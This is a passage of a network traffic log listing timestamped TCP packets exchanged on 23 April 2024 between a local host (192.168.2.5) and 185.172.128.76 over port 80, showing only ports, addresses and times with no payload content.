Apr 23, 2024 09:33:03.291485071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291501045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291520119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291523933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291558027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291572094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291593075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291604996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291635036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291641951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291672945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291683912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291707993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291718006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291743994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291755915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291779041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291785955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291815042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291826963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291850090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291866064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291884899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291896105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291920900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291933060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291956902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.291968107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.291995049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292001963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292028904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292043924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292063951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292076111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292109966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292114973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292151928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292164087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292182922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292197943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292217970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292223930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292253971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292259932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292289972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292299032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292325020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292336941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292361021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292371035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292396069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292406082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292428970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292439938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292464972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292474985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292500973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292510986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292536974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292545080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292570114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292584896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292606115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292613983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292640924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292651892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292679071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292689085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292714119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292721987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292753935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292839050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292875051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292886972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292911053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292926073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292947054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292954922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.292983055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.292993069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.293023109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.293039083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.293055058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.293068886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.293097019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.340770960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340802908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340815067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340828896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340841055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340852976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340868950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340881109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340923071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340935946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340951920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340962887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340974092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340985060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.340995073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341006041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341017962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341031075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341041088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341051102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341063023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341074944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341083050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341083050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341085911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341097116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341109991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341109991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341109991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341111898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341120958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341124058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341135025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341145992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341150045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341156960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341167927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341177940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341178894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341190100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341197014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341201067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341211081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341216087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341242075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341337919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341361046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341373920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341396093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341398954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341409922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341419935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341429949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341443062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341451883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341460943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341464043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341475010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341487885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341489077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341504097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341522932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341543913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341556072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341567993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341578960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341588020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341599941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341603994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341610909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341623068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341634989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341635942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341650009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341656923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341660976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341672897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341701031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341811895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341851950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341861010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341882944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341895103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.341898918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341917038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.341933966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342077971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342091084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342101097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342112064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342116117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342142105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342223883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342236996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342247963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342258930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342261076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342269897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342283010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342293978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342294931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342317104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342333078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342345953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342359066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342369080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342380047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342382908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342405081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342427969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342506886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342525005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342535019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342545033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342550993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342577934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342659950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342673063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342695951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342709064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342720032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342720032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342737913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342756033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342798948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342812061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342835903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342935085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342947006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342957973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342968941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342972040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.342981100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342991114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.342995882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.343024969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.343461037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343473911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343483925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343494892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343499899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.343507051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343513012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.343538046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.343569040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343580961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343592882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.343602896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.343628883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393100977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393158913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393193960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393212080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393218994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393249035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393254042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393285036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393290043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393322945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393326044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393357038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393361092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393393993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393402100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393434048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393435001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393469095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393470049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393501997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393507957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393537045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393541098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393573046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393577099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393608093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393613100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393645048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393649101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393682957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393686056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393718004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393718958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393750906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393759966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393788099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393795013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393822908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393841028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393877029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393882036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393908024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393919945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393944025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393948078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.393979073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.393984079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394013882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394016981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394047022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394054890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394082069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394083977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394118071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394119978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394154072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394160032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394186020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394193888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394220114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394223928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394256115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394258976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394290924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394293070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394323111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394328117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394357920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394360065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394396067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394399881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394431114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394433975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394463062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394471884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394496918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394501925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394531965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394536972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394567013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394572020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394598007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394606113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394632101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394635916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394668102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394676924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394702911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394709110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394733906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394742966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394768953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394772053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394804001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394808054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394839048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394843102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394870043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394884109 CEST	49704	80	192.168.2.5	185.172.128.76
